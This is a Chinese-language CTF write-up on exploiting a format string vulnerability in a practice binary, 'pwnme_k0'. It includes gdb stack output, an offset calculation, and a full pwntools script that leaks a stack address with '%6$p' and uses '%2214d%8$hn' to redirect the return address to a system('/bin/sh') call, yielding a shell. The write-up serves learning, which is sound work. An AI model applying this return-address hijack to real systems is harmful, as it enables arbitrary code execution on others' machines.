程序运行起来功能很简单:输入用户名密码、输出用户名密码、退出

运行起来发现:这里可能会有个缓冲区溢出的漏洞,在输入用户名时可以超过20个,超过的部分成了密码

进一步测试发现,该程序存在fmtstr漏洞

在程序4008A6处提供了system("/bin/sh"),所以我们的思路是,劫持某个函数返回地址到这儿即可

先来计算偏移:

 在这里下断

 

Breakpoint 1, 0x0000000000400b39 in ?? ()
gdb-peda$ stack 20
0000| 0x7fffffffdac0 --> 0x7fffffffdb00 --> 0x7fffffffdbb0 --> 0x400eb0 (push   r15)
0008| 0x7fffffffdac8 --> 0x400d74 (add    rsp,0x30)
0016| 0x7fffffffdad0 --> 0xa61616161 ('aaaa\n')
0024| 0x7fffffffdad8 --> 0x0 
0032| 0x7fffffffdae0 --> 0x252e702500000000 ('')
0040| 0x7fffffffdae8 ("p.%p.%p.%p.%p\n")
0048| 0x7fffffffdaf0 --> 0xa70252e7025 ('%p.%p\n')

可以发现许多重要信息:

(1)aaaa的偏移为5 + 3 = 8

(2)偏移为7处存储的是该函数的返回地址

(3)偏移为6处泄露了栈地址!

所以:我们的思路是:利用偏移为6处泄露栈信息,根据偏移计算返回地址,利用格式化字符串漏洞将返回地址覆盖成system("/bin/sh")的地址即可

#!/usr/bin/env python
# coding=utf-8

from pwn import *

io = process("./pwnme_k0")

#get retaddr
io.recv()
io.sendline("1111")
io.recv()
io.sendline("%6$p")
io.recv()
io.sendline("1")
io.recvuntil("0x")
retaddr = int(io.recvline().strip(), 16) - 0x38
print "retaddr = " + hex(retaddr)

#retaddr => 0x4008A6
io.recv()
io.sendline("2")
io.recv()
io.sendline(p64(retaddr))
io.recv()
io.sendline("%2214d%8$hn")

#return
io.recv()
io.sendline("1")
io.recv()
io.interactive()

这里的0x38是偏移值:

0x7fffffffdb00 - 0x7fffffffdac8 = 0x38

我们需要把400D74覆盖成4008A6,即:写成0x08A6 = 2214

 

学习链接:

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_example/#hijack-retaddr